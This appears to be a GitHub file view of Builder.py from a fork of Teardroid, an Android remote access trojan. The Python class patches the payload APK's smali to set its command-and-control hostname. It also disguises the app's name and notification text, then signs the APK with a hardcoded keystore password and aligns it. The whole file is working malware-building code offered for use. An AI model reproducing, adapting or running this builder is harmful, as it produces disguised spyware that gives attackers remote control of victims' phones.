forked from ScRiPt1337/Teardroid-phprat
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathBuilder.py
63 lines (52 loc) · 2.76 KB
/
Builder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import os
from colorama import Fore, Style
class Teardroid:
def __init__(self, name) -> None:
self.name = name
self.AppInfo = os.getcwd() + "/Teardroid_Payload/smali/com/example/teardroidv2/AppInfo.smali"
def build(self, hostname) -> None:
self.print_result("Building Teardroid")
self.print_result("Changing hostname to " + hostname)
self.changeHostname(self, hostname)
def print_result(self, message) -> None:
print(Fore.YELLOW + "[+] {message}!".format(message=message))
def changeNotification(self, title, content, subtext) -> None:
self.print_result("Changing notification title to " + title)
title = {'data': ' const-string v0, "{title}"'.format(
title=title), 'line_number': 135, 'file': self.AppInfo}
self.modify_file(title)
self.print_result("Changing notification content to " + content)
content = {'data': ' const-string v0, "{content}"'.format(
content=content), 'line_number': 140, 'file': self.AppInfo}
self.modify_file(content)
self.print_result("Changing notification subtext to " + subtext)
subtext = {'data': ' const-string v0, "{subtext}"'.format(
subtext=subtext), 'line_number': 145, 'file': self.AppInfo}
self.modify_file(subtext)
self.print_result("Changing notification completed")
def changeAppname(self) -> None:
self.print_result("Changing app name to " + self.name)
file = os.getcwd() + "/Teardroid_Payload/res/values/strings.xml"
self.modify_file({'data': ' <string name="app_name">{AppName}</string>'.format(
AppName=self.name), 'line_number': 31, 'file': file})
self.print_result("Changing app name completed")
def changeHostname(self, hostname) -> None:
data = {'data': ' const-string v0, "{hostname}"'.format(
hostname=hostname), 'line_number': 130, 'file': self.AppInfo}
self.modify_file(data)
def modify_file(self, new_Info) -> None:
data = ""
with open(new_Info["file"], 'r') as filereader:
data = filereader.readlines()
data[new_Info["line_number"] - 1] = new_Info["data"] + "\n"
with open(new_Info["file"], 'w') as filewriter:
filewriter.writelines(data)
def SingAPK(self) -> None:
os.system(
os.getcwd() + "/apksigner sign --ks hacksec.jks --ks-key-alias key0 --ks-pass pass:root1337 --key-pass pass:root1337 " + self.name + ".apk")
def CompressAPK(self) -> None:
os.system(os.getcwd() + "/zipalign -v 4 " + self.name +
"_uncompressed.apk " + self.name + ".apk")
def Clear(self) -> None:
os.remove(self.name + ".apk.idsig")
os.remove(self.name + "_uncompressed.apk")